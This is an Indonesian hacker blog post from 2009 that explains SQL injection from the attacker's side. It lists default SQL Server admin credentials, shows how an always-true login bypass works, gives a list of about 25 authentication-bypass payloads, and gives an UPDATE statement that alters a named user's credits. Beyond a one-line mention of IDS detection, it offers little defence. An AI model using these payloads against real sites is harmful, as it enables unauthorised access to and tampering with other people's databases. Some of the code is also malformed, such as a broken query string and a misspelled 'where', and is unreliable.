Shoutmix!!!

PINDAH KE http://neodark.co.tv/

Translator

Jumat, 24 Juli 2009

Penjelasan SQL Injection

SQL Injection bukanlah sekedar Menginjek admin ampe mati (lho??? gak nyambung...)
SQL Injection adalah suatu metode hacking untuk menggapai akses database yang berbasis SQL, Metode ini memanfaatkan kelemahan SQL dalam mengolah database. SQL Injection bisa berakibat fatal, Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.

Default setting dari SQL menggunakan:
adminID: sa
Password: (kosong)
misalnya : http://www.target.com/login.asp?adminID=sa%20password=''

%20 artinya menggantikan "jarak spasi"

Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.

Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :

SQLQuery="SELECT Username FROM Users WHERE Username="'&strUsername&"'strpassword&"'

Pada verifikasi terdapat kelemahan pada pemprosesan pada string2 tertentu yg sebenarnya string tersebut dapat dikatakan sebagai input ilegal. Verifikasi tetap melakukan proses dan nantinya menghasilkan error page. Error page tersebut justru membuka rahasia struktur database dan bahkan error page tetapi eksekusi terhadap validasi input tetap dijalankan.

Contoh : menggunakan injection string 'OR''= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :

SELECT Username FROM Users WHERE Username=''OR''='' AND Password=''OR''=''

Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.
Banyak variasi Injection String yang digunakan SQL Injection seperti:

'or 1=1--

'or 0=0 --

'or 'x'='x

'or a=a-

"or 0=0 --

"or 0=0 #

"or "x"="x

")or("a"="a

admin'--

hi" or 1=1 --

hi' or'a'='a

hi")or("a"="a

or 0=0 #

'or a=a--

'or 0=0 #

'having 1=1--

"or 1=1--

"or "a"="a

')or('a'='a

')or('x'='x

hi" or "a"="a

hi' or 1=1 --

hi')or('a'='a

or 0=0 --

or 1=1--

Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :

'UPDATE YEPCell_memberDB set Credits=100 wher UserID='yamakasi'

SQL Injection bisa dideteksi pake IDS, cari aja di google...

Sekian postingan malam ini

Special thanks again to J4mbi H4ck3r
Untuk sementara beberapa postingan menyalin (dikit) dari website lain

Tidak ada komentar:

Posting Komentar

Silahkan kasih komentar kepada saya, walaupun bagus, jelek, saya akan menerimanya, dan mengoreksinya... Kan gak ada yang sempurna kan? :D

 
hacker emblem
Page generated in 0,0000000004253187 seconds
Semua artikel ini BOLEH di salin tetapi harus disertakan sumber yaa...
Copyleft © 2009 | ne0 d4rk fl00d3r | All rights reserved